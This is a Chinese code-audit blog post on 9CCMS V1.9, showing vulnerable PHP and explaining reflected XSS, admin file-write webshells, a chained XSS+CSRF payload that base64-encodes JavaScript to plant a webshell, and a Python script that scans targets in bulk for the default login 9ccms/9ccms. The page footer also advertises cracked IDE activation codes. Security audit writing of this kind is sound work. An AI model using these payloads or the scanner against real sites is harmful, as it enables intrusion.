代码审计系列:久草CMS(9CCMS)V1.9

代码审计系列:久草CMS(9CCMS)V1.9偶然看到一篇9CCMS(久草CMS)V1.9弱口令+后台拿shell的文章,兴起去找来源码进行审计

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

前言

偶然看到一篇9CCMS(久草CMS) V1.9 弱口令+后台拿shell的文章
兴起去找来源码看看,下载源码

审计了下有下面这些洞

1、前台反射XSS

在文件static/home/videojs/index.php中有

<script type="text/javascript">

var vPath = '<?php include('../../../Php/Public/Helper.php'); echo safeRequest($_GET['Play']);?>';

var logo = '';
var myVideo=initVideo({ 
   
      id:'myVideo',
      url:vPath,
      ad:{ 
   
          pre:{ 
   
               url:'',
               link:'',
               },
      },
      logo:{ 
   
         url:'logo.png',
         width:'100px'
         },
      });
</script>

跟踪saferequest

<?php
function safeRequest($data){ 
   
    $data = stripslashes($data); // 刪除反斜杠
    $data = htmlspecialchars($data); //把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体:
    return $data;
}
?>

发现只处理了反斜杠和尖括号
但是它已经在script标签中
所以只要阶段标签就会触发XSS

?Play=%27;alert(document.cookie);%27

在这里插入图片描述

2、后台广告添加文件写入

php/admin/home/ad/adjs.php文件中有:

<?php

$postAdJs = $_POST['AdJs'];
if (isset($_POST['submit']) && isset($postAdJs)) { 
   
$file = fopen("../JCSQL/Admin/Ad/AdminAdJs.php","w");
fwrite($file,$postAdJs);
fclose($file);  
?>

未对传递进来的数据进行过滤
并且直接写到了/JCSQL/Admin/Ad/AdminAdJs.php文件中
可直接getshell

在这里插入图片描述
在这里插入图片描述
不过无法执行命令
要用蚁剑插件绕过

在这里插入图片描述

3、密码修改文件写入

php/admin/home/security/userpass.php文件中有:

<?php

if (isset($_POST['submit']) && isset($_POST['username']) && isset($_POST['password'])  && isset($_POST['ippass']) ) { 
   
function post_input($data){ 
   $data = stripslashes($data);$data = htmlspecialchars($data);return $data;}
$username = post_input($_POST["username"]);
$password = post_input($_POST["password"]);  
$ippass = post_input($_POST["ippass"]);
  $str = '';
  $str .= '<?php';
  $str .= "n";
  $str .= '//后台密码';
  $str .= "n";
  $str .= 'define('USERNAME', ''.$username.'');';
  $str .= "n";
  $str .= 'define('PASSWORD', ''.$password.'');';
  $str .= "n";
  $str .= 'define('IPPASS', ''.$ippass.'');';
  $str .= "n";  
  $str .= '?>';
  $ff = fopen("../JCSQL/Admin/Security/AdminUser.php",'w+');
  fwrite($ff,$str);
?>

除了做了html实体编码和删除反斜杠以外,未作任何安全处理
直接写入/JCSQL/Admin/Security/AdminUser.php文件中
这里也可以直接拿shell

在这里插入图片描述
在这里插入图片描述

4、前台XSS+CSRF+文件写入

后台所有请求都未添加CSRF token
那不就一个组合拳了

payload如下:

/static/home/videojs/index.php?Play=';eval(atob('dmFyIGh0dHBSZXF1ZXN0ID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7Cmh0dHBSZXF1ZXN0Lm9wZW4oJ1BPU1QnLCAnaHR0cDovLzE5Mi4xNjguMTguMTMxL2FkbWlueC8%2fUGhwPUhvbWUvQWQvQWRKcycsIHRydWUpOyAKaHR0cFJlcXVlc3Quc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC10eXBlIiwiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7Cmh0dHBSZXF1ZXN0LnNlbmQoJ0FkSnM9MTIzJTNDJTNGcGhwK3BocGluZm8lMjglMjklM0IlM0YlM0Umc3VibWl0PScpOwpodHRwUmVxdWVzdC5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbiAoKSB7CiAgICBpZiAoaHR0cFJlcXVlc3QucmVhZHlTdGF0ZSA9PSA0ICYmIGh0dHBSZXF1ZXN0LnN0YXR1cyA9PSAyMDApIHsKICAgICAgICB2YXIganNvbiA9IGh0dHBSZXF1ZXN0LnJlc3BvbnNlVGV4dDsKICAgICAgICBjb25zb2xlLmxvZyhqc29uKTsKICAgIH0KfTs%3D'));'

管理员点击该链接可写入webshell

5、弱口令

开头那篇文章的师傅的一个检测脚本

#!/usr/bin/env python
# -*- coding:utf-8 -*-

import time
import requests
import os
from requests.sessions import session
os.system('')
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# 禁用安全请求警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import argparse
class poc():
    def title(self):
        print(''' +-----------------------------------------------------------------+ 漏洞名称:9CCCMS 弱口令 功能:单个检测,批量检测 单个检测:python poc.py -u url 批量检测:python poc.py -f 1.txt +-----------------------------------------------------------------+ ''')
    def poc(self, target_ur):
        url = f'{target_ur}/adminx/'
        headers = { 
   'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36'}
        try:
            res = requests.get(url=url, headers=headers,verify=False,timeout=10)
            return res
        except Exception as e:
            print("\033[31m[x] 请求失败 \033[0m", e)
    def main(self, target_url, file):
        self.title()
        count=0
        if target_url:
            res=self.poc(target_url)
            if res.status_code==200 and "当前使用的是默认账号" in res.text:
                print(f'\033[31m[+] {target_url} 存在弱口令:9ccms/9ccms \033[0m')
        if file:
            for url in file:
                count += 1
                target_url = url.replace('\n', '')  #取消换行符
                #time.sleep(1)
                res=self.poc(target_url)
                try:
                    if res.status_code==200 and "当前使用的是默认账号" in res.text:
                        print(f'\033[31m[{count}] 响应值为200,{target_url} 存在弱口令:9ccms/9ccms\033[0m')
                    else:
                        print(f'[{count}] 响应值为{res.status_code},{target_url} 不存在弱口令')
                except Exception as e:
                    print("\033[31m[x] 请求失败 \033[0m", e)
if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('-u','--url',type=str,default=False,help="目标地址,带上http://")
    parser.add_argument("-f",'--file', type=argparse.FileType('r'),default=False,help="批量检测,带上http://")
    args = parser.parse_args()
    run = poc()
    run.main(args.url, args.file)

结语

后台都是洞啊

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/180200.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • intrllijidea 永久激活码_在线激活

    (intrllijidea 永久激活码)这是一篇idea技术相关文章,由全栈君为大家提供,主要知识点是关于2021JetBrains全家桶永久激活码的内容IntelliJ2021最新激活注册码,破解教程可免费永久激活,亲测有效,下面是详细链接哦~https://javaforall.net/100143.htmlMLZPB5EL5Q-eyJsaWN…

    2022年3月21日
    99
  • 彻底弄懂StringBuffer与StringBuilder的区别「建议收藏」

    彻底弄懂StringBuffer与StringBuilder的区别「建议收藏」一问道StringBuffer与StringBuilder的区别,张口就来StringBuffer是线程安全的,因为它相关方法都加了synchronized关键字,StringBuilder线程不安全。没错,确实如此,但是我们查看过源码会发现StringBuffer是从jdk1.0就开始了,StringBuilder是从jdk1.5开始的。于是我就产生这样一个疑问,既然已经有了StringBu…

    2022年6月28日
    25
  • 数字 IC 笔试面试必考点(1)FPGA 芯片架构[通俗易懂]

    数字 IC 笔试面试必考点(1)FPGA 芯片架构[通俗易懂]FPGA芯片架构是非常重要的,如果你不了解FPGA芯片内部的详细架构,那么,你将对于你自己的设计一无所知,你将不懂如何去实现资源的优化,你也不懂如何合理调用内部模块,你更不懂如何去权衡速度与面积,那么你的Verilog就跟C差不多…所以,让我们来了解一下其架构:如下所示,这是部件号为XC7A100TFGG484-2的FPGA芯片内部的整体架构,一方面按照时钟域(顾名思义就是不同频率的时钟所划分的不同区域模块)划分的,即根据不同的工艺、器件速度和对应的时钟.

    2025年9月27日
    3
  • requestparam注解接的收的是什么格式(玄机赋注解)

    1、作用:@RequestParam:将请求参数绑定到你控制器的方法参数上(是springmvc中接收普通参数的注解)2、语法:语法:@RequestParam(value=”参数名”,required=”true/false”,defaultValue=””)value:参数名required:是否包含该参数,默认为true,表示该请求路径中必须包含该参数,如果不包含…

    2022年4月18日
    127
  • 简述php的垃圾收集机制

    简述php的垃圾收集机制

    2022年2月19日
    57
  • 互联网测试面试题及答案(软件测试面试题及答案2019)

    很多软件测试工程师在面试互联网企业的时候都会遇到考官给的几道面试题,这也反应了测试工程师对企业的重要性,今天传智播客整理了一份2019年的互联网企业软件测试面试题,希望能帮助到大家。2019年互联网企业软件测试面试题(常考)1、什么是兼容性测试?答:兼容性测试是检查软件在不同软件平台,硬件平台上是否可以正常运行的测试。主要查看软件在不同操作系统、浏览器、数据库中运行是否正常。2、你能不能…

    2022年4月13日
    134

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号